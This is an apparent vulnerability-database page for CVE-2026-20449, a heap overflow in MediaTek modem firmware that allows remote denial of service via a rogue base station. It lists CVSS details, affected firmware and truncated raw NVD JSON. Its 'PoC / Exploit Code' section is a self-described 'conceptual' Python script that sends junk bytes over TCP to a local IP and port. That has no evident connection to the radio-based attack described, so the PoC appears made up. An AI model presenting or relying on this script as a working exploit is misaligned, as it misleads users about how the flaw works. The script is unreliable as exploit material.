Security Vulnerability Report
中文
CVE-2026-20449 CVSS 6.5 MEDIUM

CVE-2026-20449

Published: 2026-05-04 07:16:00
Last Modified: 2026-05-07 12:43:01

Description

In Modem, there is a possible system crash due to a heap buffer overflow. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01760138; Issue ID: MSV-6148.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:mt6763_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6763:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6765_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6767_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6767:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6768_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6769_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6769:-:*:*:*:*:*:*:* - NOT VULNERABLE
未明确披露(参考Patch ID: MOLY01760138)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-20449 (Conceptual) # This script simulates sending a malformed packet to a UE connected to a rogue base station. import socket def send_malicious_packet(target_ip, target_port): # Construct a payload that triggers the heap overflow # Payload structure: [Header][Padding][Overflow Data] payload = b"\x01\x02\x03\x04" # Example Header payload += b"A" * 1000 # Padding payload += b"\x00" * 500 # Overflow Data to crash the modem try: # Send payload to the target (Modem interface simulation) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload) print("[+] Malicious packet sent to target.") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage: send_malicious_packet("192.168.1.100", 8080)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20449", "sourceIdentifier": "[email protected]", "published": "2026-05-04T07:15:59.610", "lastModified": "2026-05-07T12:43:00.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to a heap buffer overflow. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01760138; Issue ID: MSV-6148."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6763_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7545A96-E05D-4A48-818C-5F172C594F54"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6763:-:*:*:*:*:*:*:*", "matchCriteriaId": "2F19C76A-50DF-4ACA-BACA-07157B4D838B"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6765_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43327018-578C-4997-81B9-6DBD3679E40C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6767_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "B0ED6AF6-9F84-47AB-8D9D-F5BBFD851093"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6767:-:*:*:*:*:*:*:*", "matchCriteriaId": "3367BA13-9C4D-4CCF-8E71-397F33CFF773"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6768_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16EF9082-FC9B-4790-A79D-AA62C62E4B88"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6769_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C435FED6-829E-4788-A61C-92A2250872AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769:-:*:*:*:*:*:*:*", "matchCriteriaId": "D23991D5-1893-49F4-8A06-D5E66C96C3B3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6771_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "4C98C5B2-1B08-4E46-A845-3B19EE801A9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6771:-:*:*:*:*:*:*:*", "matchCriteriaId": "BE4D2AED-C713-407F-A34A-52C3D8F65835"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6779_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "2C031857-65FD-4644-AF44-F9D09303472D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6779:-:*:*:*:*:*:*:*", "matchCriteriaId": "EBA369B8-8E23-492B-82CC-23114E6A5D1C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6781_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "23F92B7C-A5A3-4F32-B4BF-CBE706D79702"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6783_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "21ABBF98-6C62-4C4E-AF1E-4EB94D20544C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6783:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2C8F9C2-64 ... (truncated)